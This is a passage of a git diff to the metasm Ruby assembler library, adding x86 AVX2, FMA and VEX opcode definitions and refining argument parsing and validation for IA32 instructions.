add256[o.name] + + mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F) + pp = o.props[:needpfx] + pp = 0x66 if o.props[:xmmx] + fpxlen = (mm == 0x0F ? 1 : 2) + + addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo| + oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] + dbinlen = o.bin.length - oo.bin.length + o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] } + o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } + } + } + + # promote special cases + addop_vex 'vpblendvb', [1, 256, 0x66, 0x0F3A, 0], 0x4C, :mrmymm, :i4ymm + addop_vex 'vpsllw', [1, 256, 0x66, 0x0F], 0xF1, :mrmymm + addop_vex('vpsllw', [0, 256, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpslld', [1, 256, 0x66, 0x0F], 0xF2, :mrmymm + addop_vex('vpslld', [0, 256, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsllq', [1, 256, 0x66, 0x0F], 0xF3, :mrmymm + addop_vex('vpsllq', [0, 256, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex('vpslldq',[0, 256, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsraw', [1, 256, 0x66, 0x0F], 0xE1, :mrmymm + addop_vex('vpsraw', [0, 256, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrad', [1, 256, 0x66, 0x0F], 0xE2, :mrmymm + addop_vex('vpsrad', [0, 256, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrlw', [1, 256, 0x66, 0x0F], 0xD1, :mrmymm + addop_vex('vpsrlw', [0, 256, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrld', [1, 256, 0x66, 0x0F], 0xD2, :mrmymm + addop_vex('vpsrld', [0, 256, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex 'vpsrlq', [1, 256, 0x66, 0x0F], 0xD3, :mrmymm + addop_vex('vpsrlq', [0, 256, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + addop_vex('vpsrldq',[0, 256, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } + + addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmR + addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmR + addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmR + addop_vex 'vbroadcasti128', [nil, 256, 0x66, 0x0F38, 0], 0x5A, :mrmymm, :modrmA + addop_vex 'vpblendd', [1, 128, 0x66, 0x0F3A, 0], 0x02, :mrmxmm, :u8 + addop_vex 'vpblendd', [1, 256, 0x66, 0x0F3A, 0], 0x02, :mrmymm, :u8 + addop_vex 'vpbroadcastb', [nil, 128, 0x66, 0x0F38, 0], 0x78, :mrmxmm + addop_vex 'vpbroadcastb', [nil, 256, 0x66, 0x0F38, 0], 0x78, :mrmymm + addop_vex 'vpbroadcastw', [nil, 128, 0x66, 0x0F38, 0], 0x79, :mrmxmm + addop_vex 'vpbroadcastw', [nil, 256, 0x66, 0x0F38, 0], 0x79, :mrmymm + addop_vex 'vpbroadcastd', [nil, 128, 0x66, 0x0F38, 0], 0x58, :mrmxmm + addop_vex 'vpbroadcastd', [nil, 256, 0x66, 0x0F38, 0], 0x58, :mrmymm + addop_vex 'vpbroadcastq', [nil, 128, 0x66, 0x0F38, 0], 0x59, :mrmxmm + addop_vex 'vpbroadcastq', [nil, 256, 0x66, 0x0F38, 0], 0x59, :mrmymm + addop_vex 'vpermd', [1, 256, 0x66, 0x0F38, 0], 0x36, :mrmymm + addop_vex 'vpermpd', [nil, 256, 0x66, 0x0F3A, 1], 0x01, :mrmymm, :u8 + addop_vex 'vpermps', [1, 256, 0x66, 0x0F38, 0], 0x16, :mrmymm, :u8 + addop_vex 'vpermq', [nil, 256, 0x66, 0x0F3A, 1], 0x00, :mrmymm, :u8 + addop_vex 'vperm2i128', [1, 256, 0x66, 0x0F3A, 0], 0x46, :mrmymm, :u8 + addop_vex 'vextracti128', [nil, 256, 0x66, 0x0F3A, 0], 0x39, :mrmymm, :u8 + addop_vex 'vinserti128', [1, 256, 0x66, 0x0F3A, 0], 0x38, :mrmymm, :u8 + addop_vex 'vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8C, :mrmxmm, :modrmA + addop_vex 'vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8C, :mrmymm, :modrmA + addop_vex 'vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8C, :mrmxmm, :modrmA + addop_vex 'vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8C, :mrmymm, :modrmA + addop_vex('vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex('vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! } + addop_vex('vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex('vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! } + addop_vex 'vpsllvd', [1, 128, 0x66, 0x0F38, 0], 0x47, :mrmxmm + addop_vex 'vpsllvq', [1, 128, 0x66, 0x0F38, 1], 0x47, :mrmxmm + addop_vex 'vpsllvd', [1, 256, 0x66, 0x0F38, 0], 0x47, :mrmymm + addop_vex 'vpsllvq', [1, 256, 0x66, 0x0F38, 1], 0x47, :mrmymm + addop_vex 'vpsravd', [1, 128, 0x66, 0x0F38, 0], 0x46, :mrmxmm + addop_vex 'vpsravd', [1, 256, 0x66, 0x0F38, 0], 0x46, :mrmymm + addop_vex 'vpsrlvd', [1, 128, 0x66, 0x0F38, 0], 0x45, :mrmxmm + addop_vex 'vpsrlvq', [1, 128, 0x66, 0x0F38, 1], 0x45, :mrmxmm + addop_vex 'vpsrlvd', [1, 256, 0x66, 0x0F38, 0], 0x45, :mrmymm + addop_vex 'vpsrlvq', [1, 256, 0x66, 0x0F38, 1], 0x45, :mrmymm + + addop_vex('vpgatherdd', [2, 128, 0x66, 0x0F38, 0], 0x90, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherdd', [2, 256, 0x66, 0x0F38, 0], 0x90, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vpgatherdq', [2, 128, 0x66, 0x0F38, 1], 0x90, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherdq', [2, 256, 0x66, 0x0F38, 1], 0x90, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + addop_vex('vpgatherqd', [2, 128, 0x66, 0x0F38, 0], 0x91, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherqd', [2, 256, 0x66, 0x0F38, 0], 0x91, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vpgatherqq', [2, 128, 0x66, 0x0F38, 1], 0x91, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vpgatherqq', [2, 256, 0x66, 0x0F38, 1], 0x91, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherdps', [2, 128, 0x66, 0x0F38, 0], 0x92, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherdps', [2, 256, 0x66, 0x0F38, 0], 0x92, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherdpd', [2, 128, 0x66, 0x0F38, 1], 0x92, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherdpd', [2, 256, 0x66, 0x0F38, 1], 0x92, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherqps', [2, 128, 0x66, 0x0F38, 0], 0x93, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherqps', [2, 256, 0x66, 0x0F38, 0], 0x93, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } + addop_vex('vgatherqpd', [2, 128, 0x66, 0x0F38, 1], 0x93, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } + addop_vex('vgatherqpd', [2, 256, 0x66, 0x0F38, 1], 0x93, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } + end + + def init_fma_only + init_cpu_constants + + [['vfmaddsub', 'p', 0x86], + ['vfmsubadd', 'p', 0x87], + ['vfmadd', 'p', 0x88], + ['vfmadd', 's', 0x89], + ['vfmsub', 'p', 0x8A], + ['vfmsub', 's', 0x8B], + ['vfnmadd', 'p', 0x8C], + ['vfnmadd', 's', 0x8D], + ['vfnmsub', 'p', 0x8E], + ['vfnmsub', 's', 0x8F]].each { |n1, n2, bin| + addop_vex n1 + '132' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm + addop_vex n1 + '132' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm + addop_vex n1 + '132' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm + addop_vex n1 + '132' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm + addop_vex n1 + '213' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm + addop_vex n1 + '213' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm + addop_vex n1 + '213' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm + addop_vex n1 + '213' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm + addop_vex n1 + '231' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm + addop_vex n1 + '231' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm + addop_vex n1 + '231' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm + addop_vex n1 + '231' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm + + # pseudo-opcodes aliases (swap arg0/arg1) + addop_vex(n1 + '312' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '312' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '312' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '312' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '123' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + addop_vex(n1 + '321' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } + } + end + + # + # CPU family dependencies + # + + def init_386_common + init_386_common_only + end + + def init_386 + init_386_common + init_386_only + end + + def init_387 + init_387_only + end + + def init_486 + init_386 + init_387 + init_486_only + end + + def init_pentium + init_486 + init_pentium_only + end + + def init_3dnow + init_pentium + init_3dnow_only + end + + def init_p6 + init_pentium + init_p6_only + end + + def init_sse + init_p6 + init_sse_only + end + + def init_sse2 + init_sse + init_sse2_only + end + + def init_sse3 + init_sse2 + init_sse3_only + end + + def init_ssse3 + init_sse3 + init_ssse3_only + end + + def init_sse41 + init_ssse3 + init_sse41_only + end + + def init_sse42 + init_sse41 + init_sse42_only + end + + def init_avx + init_sse42 + init_avx_only + end + + def init_avx2 + init_avx + init_fma_only + init_avx2_only + end + + def init_all + init_avx2 + init_3dnow_only + init_vmx_only + init_aesni_only + end + + alias init_latest init_all + + + # + # addop_* macros + # + + def addop_macro1(name, num, *props) + addop name, [(num << 3) | 4], nil, {:w => [0, 0]}, :reg_eax, :i, *props + addop(name, [num << 3], :mrmw, {:d => [0, 1]}) { |o| o.args.reverse! } + addop name, [0x80], num, {:w => [0, 0], :s => [0, 1]}, :i, *props + end + def addop_macro2(name, num) + addop name, [0x0F, 0xBA], (4 | num), :u8 + addop(name, [0x0F, 0xA3 | (num << 3)], :mrm) { |op| op.args.reverse! } + end + def addop_macro3(name, num) + addop name, [0xD0], num, {:w => [0, 0]}, :imm_val1 + addop name, [0xD2], num, {:w => [0, 0]}, :reg_cl + addop name, [0xC0], num, {:w => [0, 0]}, :u8 + end + + def addop_macrotttn(name, bin, hint, *props, &blk) + [%w{o}, %w{no}, %w{b nae c}, %w{nb ae nc}, + %w{z e}, %w{nz ne}, %w{be na}, %w{nbe a}, + %w{s}, %w{ns}, %w{p pe}, %w{np po}, + %w{l nge}, %w{nl ge}, %w{le ng}, %w{nle g}].each_with_index { |e, i| + b = bin.dup + if b[0] == 0x0F + b[1] |= i + else + b[0] |= i + end + + e.each { |k| addop(name + k, b.dup, hint, *props, &blk) } + } + end + + def addop_macrostr(name, bin, type) + # addop(name, bin.dup, {:w => [0, 0]}) { |o| o.props[type] = true } # TODO allow segment override + addop(name+'b', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } + addop(name+'b', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } + bin = bin.dup + bin[0] |= 1 + addop(name+'w', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } + addop(name+'d', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } + end + + def addop_macrofpu1(name, n) + addop(name, [0xD8, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop(name, [0xDC, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop(name, [0xD8, 0xC0|(n<<3)], :regfp, {:d => [0, 2]}) { |o| o.args.reverse! } + end + def addop_macrofpu2(name, n, n2=0) + addop(name, [0xDE|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 16 } + addop(name, [0xDA|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + end + def addop_macrofpu3(name, n) + addop_macrofpu2 name, n, 1 + addop(name, [0xDF, 0x28|(n<<3)], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + end + + def addop_macrogg(ggrng, name, bin, *args, &blk) + ggoff = 1 + ggoff = 2 if bin[1] == 0x38 or bin[1] == 0x3A + ggrng.each { |gg| + bindup = bin.dup + bindup[ggoff] |= gg + sfx = %w(b w d q)[gg] + addop name+sfx, bindup, *args, &blk + } + end + + def addop_macrossps(name, bin, hint, *a) + addop name, bin.dup, hint, *a + addop(name.sub(/ps$/, 'ss'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF3 } + end + + def addop_macrosdpd(name, bin, hint, *a) + addop(name, bin.dup, hint, *a) { |o| o.props[:needpfx] = 0x66 } + addop(name.sub(/pd$/, 'sd'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF2 } + end + + # special ret (iret/retf), that still default to 32b mode in x64 + def addop_macroret(name, bin, *args) + addop(name + '.i32', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 32 } + addop(name + '.i16', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 16 } if name != 'sysret' + addop(name, bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = @size } + end + + # add an AVX instruction needing a VEX prefix (c4h/c5h) + # the prefix is hardcoded + def addop_vex(name, vexspec, bin, *args) + argnr = vexspec.shift + argt = vexspec.shift if argnr and vexspec.first.kind_of?(::Symbol) + l = vexspec.shift + pfx = vexspec.shift + of = vexspec.shift + w = vexspec.shift + argt ||= (l == 128 ? :vexvxmm : :vexvymm) + + lpp = ((l >> 8) << 2) | [nil, 0x66, 0xF3, 0xF2].index(pfx) + mmmmm = [nil, 0x0F, 0x0F38, 0x0F3A].index(of) + + c4bin = [0xC4, mmmmm, lpp, bin] + c4bin[1] |= 1 << 7 if @size != 64 + c4bin[1] |= 1 << 6 if @size != 64 + c4bin[2] |= 1 << 7 if w == 1 + c4bin[2] |= 0xF << 3 if not argnr + + addop(name, c4bin, *args) { |o| + o.args.insert(argnr, argt) if argnr + + o.fields[:vex_r] = [1, 7] if @size == 64 + o.fields[:vex_x] = [1, 6] if @size == 64 + o.fields[:vex_b] = [1, 5] + o.fields[:vex_w] = [2, 7] if not w + o.fields[:vex_vvvv] = [2, 3] if argnr + + yield o if block_given? + } + + return if w == 1 or mmmmm != 1 + + c5bin = [0xC5, lpp, bin] + c5bin[1] |= 1 << 7 if @size != 64 + c5bin[1] |= 0xF << 3 if not argnr + + addop(name, c5bin, *args) { |o| + o.args.insert(argnr, argt) if argnr + + o.fields[:vex_r] = [1, 7] if @size == 64 + o.fields[:vex_vvvv] = [1, 3] if argnr + + yield o if block_given? + } + end + + # helper function: creates a new Opcode based on the arguments, eventually + # yields it for further customisation, and append it to the instruction set + # is responsible of the creation of disambiguating opcodes if necessary (:s flag hardcoding) + def addop(name, bin, hint=nil, *argprops) + fields = (argprops.first.kind_of?(Hash) ? argprops.shift : {}) + op = Opcode.new name, bin + op.fields.replace fields + + case hint + when nil + + when :mrm, :mrmw, :mrmA + op.fields[:reg] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + op.fields[:w] = [bin.length - 1, 0] if hint == :mrmw + argprops.unshift :reg, :modrm + argprops << :modrmA if hint == :mrmA + op.bin << 0 + when :reg + op.fields[:reg] = [bin.length-1, 0] + argprops.unshift :reg + when :regfp + op.fields[:regfp] = [bin.length-1, 0] + argprops.unshift :regfp, :regfp0 + when :modrmA + op.fields[:modrm] = [bin.length-1, 0] + argprops << :modrm << :modrmA + + when Integer # mod/m, reg == opcode extension = hint + op.fields[:modrm] = [bin.length, 0] + op.bin << (hint << 3) + argprops.unshift :modrm + + when :mrmmmx + op.fields[:regmmx] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + bin << 0 + argprops.unshift :regmmx, :modrmmmx + when :mrmxmm + op.fields[:regxmm] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + bin << 0 + argprops.unshift :regxmm, :modrmxmm + when :mrmymm + op.fields[:regymm] = [bin.length, 3] + op.fields[:modrm] = [bin.length, 0] + bin << 0 + argprops.unshift :regymm, :modrmymm + else + raise SyntaxError, "invalid hint #{hint.inspect} for #{name}" + end + + argprops.each { |a| + op.props[a] = true if @valid_props[a] + op.args << a if @valid_args[a] + } + + yield op if block_given? + + if $DEBUG + argprops -= @valid_props.keys + @valid_args.keys + raise "Invalid opcode definition: #{name}: unknown #{argprops.inspect}" unless argprops.empty? + + argprops = (op.props.keys - @valid_props.keys) + (op.args - @valid_args.keys) + (op.fields.keys - @fields_mask.keys) + raise "Invalid opcode customisation: #{name}: #{argprops.inspect}" unless argprops.empty? + end + + addop_post(op) + end + + # this recursive method is in charge of Opcode duplication (eg to hardcode some flag) + def addop_post(op) + if df = op.fields.delete(:d) + # hardcode the bit + dop = op.dup + addop_post dop + + op.bin[df[0]] |= 1 << df[1] + op.args.reverse! + addop_post op + + return + elsif wf = op.fields.delete(:w) + # hardcode the bit + dop = op.dup + dop.props[:argsz] = 8 + # 64-bit w=0 s=1 => UD + dop.fields.delete(:s) if @size == 64 + addop_post dop + + op.bin[wf[0]] |= 1 << wf[1] + addop_post op + + return + elsif sf = op.fields.delete(:s) + # add explicit choice versions, with lower precedence (so that disassembling will return the general version) + # eg "jmp", "jmp.i8", "jmp.i" + # also hardcode the bit + op32 = op + addop_post op32 + + op8 = op.dup + op8.bin[sf[0]] |= 1 << sf[1] + op8.args.map! { |arg| arg == :i ? :i8 : arg } + addop_post op8 + + op32 = op32.dup + op32.name << '.i' + addop_post op32 + + op8 = op8.dup + op8.name << '.i8' + addop_post op8 + + return + elsif op.args.first == :regfp0 + dop = op.dup + dop.args.delete :regfp0 + addop_post dop + end + + if op.props[:needpfx] + @opcode_list.unshift op + else + @opcode_list << op + end + + if (op.args == [:i] or op.args == [:farptr] or op.name == 'ret') and op.name !~ /\.i/ + # define opsz-override version for ambiguous opcodes + op16 = op.dup + op16.name << '.i16' + op16.props[:opsz] = 16 + @opcode_list << op16 + op32 = op.dup + op32.name << '.i32' + op32.props[:opsz] = 32 + @opcode_list << op32 + elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or + op.args.include? :modrm or op.name =~ /loop|xlat/ + # define adsz-override version for ambiguous opcodes (TODO allow movsd edi / movsd di syntax) + # XXX loop pfx 67 = eip+cx, 66 = ip+ecx + op16 = op.dup + op16.name << '.a16' + op16.props[:adsz] = 16 + @opcode_list << op16 + op32 = op.dup + op32.name << '.a32' + op32.props[:adsz] = 32 + @opcode_list << op32 + end + end +end +end diff --git a/lib/metasm/metasm/ia32/parse.rb b/lib/metasm/metasm/cpu/ia32/parse.rb similarity index 82% rename from lib/metasm/metasm/ia32/parse.rb rename to lib/metasm/metasm/cpu/ia32/parse.rb index 9dccfcf554..4c91da0d23 100644 --- a/lib/metasm/metasm/ia32/parse.rb +++ b/lib/metasm/metasm/cpu/ia32/parse.rb @@ -4,8 +4,8 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/opcodes' -require 'metasm/ia32/encode' +require 'metasm/cpu/ia32/opcodes' +require 'metasm/cpu/ia32/encode' require 'metasm/parse' module Metasm @@ -99,6 +99,10 @@ class ModRM else b = o end + when SimdReg + raise otok, 'mrm: too many regs' if i + i = o + s = 1 when Expression if o.op == :* and (o.rexpr.kind_of? Reg or o.lexpr.kind_of? Reg) # scaled index @@ -106,7 +110,7 @@ class ModRM s = o.lexpr i = o.rexpr s, i = i, s if s.kind_of? Reg - raise otok, 'mrm: bad scale' unless s.kind_of? Integer + raise otok, "mrm: bad scale #{s}" unless [1, 2, 4, 8].include?(s) elsif o.op == :+ # recurse walker[o.lexpr] @@ -153,7 +157,6 @@ end end def parse_prefix(i, pfx) - # XXX check for redefinition ? # implicit 'true' return value when assignment occur i.prefix ||= {} case pfx @@ -163,11 +166,14 @@ end when 'repne', 'repnz'; i.prefix[:rep] = 'repnz' when 'code16'; i.prefix[:sz] = 16 when 'code32'; i.prefix[:sz] = 32 + when 'hintjmp', 'ht'; i.prefix[:jmphint] = 'hintjmp' + when 'hintnojmp', 'hnt';i.prefix[:jmphint] = 'hintnojmp' + when /^seg_([c-g]s)$/; i.prefix[:seg] = SegReg.new(SegReg.s_to_i[$1]) end end def parse_argregclasslist - [Reg, SimdReg, SegReg, DbgReg, CtrlReg, FpReg] + [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg] end def parse_modrm(lex, tok, cpu) ModRM.parse(lex, tok, cpu) @@ -230,17 +236,30 @@ end # check if the argument matches the opcode's argument spec def parse_arg_valid?(o, spec, arg) if o.name == 'movsx' or o.name == 'movzx' - if not arg.kind_of? Reg and not arg.kind_of? ModRM - return + if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM) + return elsif not arg.sz puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE return elsif spec == :reg # reg=dst, modrm=src (smaller) - return (arg.kind_of? Reg and arg.sz >= 16) + return (arg.kind_of?(Reg) and arg.sz >= 16) elsif o.props[:argsz] return arg.sz == o.props[:argsz] else - return arg.sz <= 16 + return arg.sz == 16 + end + elsif o.name == 'crc32' + if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM) + return + elsif not arg.sz + puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE + return + elsif spec == :reg + return (arg.kind_of?(Reg) and arg.sz >= 32) + elsif o.props[:argsz] + return arg.sz == o.props[:argsz] + else + return arg.sz >= 16 end end @@ -254,7 +273,7 @@ end cond and case spec when :reg; arg.kind_of? Reg and (arg.sz >= 16 or o.props[:argsz]) - when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz]) + when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz]) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? Reg) when :i; arg.kind_of? Expression when :imm_val1; arg.kind_of? Expression and arg.reduce == 1 when :imm_val3; arg.kind_of? Expression and arg.reduce == 3 @@ -267,15 +286,22 @@ end when :seg2A; arg.kind_of? SegReg and arg.val < 4 and arg.val != 1 when :eeec; arg.kind_of? CtrlReg when :eeed; arg.kind_of? DbgReg - when :modrmA; arg.kind_of? ModRM + when :eeet; arg.kind_of? TstReg when :mrm_imm; arg.kind_of? ModRM and not arg.s and not arg.i and not arg.b when :farptr; arg.kind_of? Farptr when :regfp; arg.kind_of? FpReg when :regfp0; arg.kind_of? FpReg and (arg.val == nil or arg.val == 0) - when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))) + when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) when :regmmx; arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx])) - when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128) + when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) when :regxmm; arg.kind_of? SimdReg and arg.sz == 128 + when :modrmymm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 256) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) + when :regymm; arg.kind_of? SimdReg and arg.sz == 256 + + when :vexvreg; arg.kind_of? Reg and arg.sz == @size + when :vexvxmm, :i4xmm; arg.kind_of? SimdReg and arg.sz == 128 + when :vexvymm, :i4ymm; arg.kind_of? SimdReg and arg.sz == 256 + when :i8, :u8, :u16 arg.kind_of? Expression and (o.props[:setip] or Expression.in_range?(arg, spec) != false) # true or nil allowed @@ -302,8 +328,8 @@ end else if r = i.args.grep(Reg).first m.sz = r.sz - elsif opcode_list_byname[i.opname].all? { |o| o.props[:argsz] } - m.sz = opcode_list_byname[i.opname].first.props[:argsz] + elsif l = opcode_list_byname[i.opname].map { |o| o.props[:argsz] }.uniq and l.length == 1 and l.first + m.sz = l.first else # this is also the size of ctrlreg/dbgreg etc # XXX fpu/simd ? @@ -320,6 +346,10 @@ end end end + def check_reserved_name(name) + Reg.s_to_i[name] + end + def instr_uncond_jump_to(target) parse_instruction("jmp #{target}") end diff --git a/lib/metasm/metasm/ia32/render.rb b/lib/metasm/metasm/cpu/ia32/render.rb similarity index 73% rename from lib/metasm/metasm/ia32/render.rb rename to lib/metasm/metasm/cpu/ia32/render.rb index d0c7cc7c93..2223819fdf 100644 --- 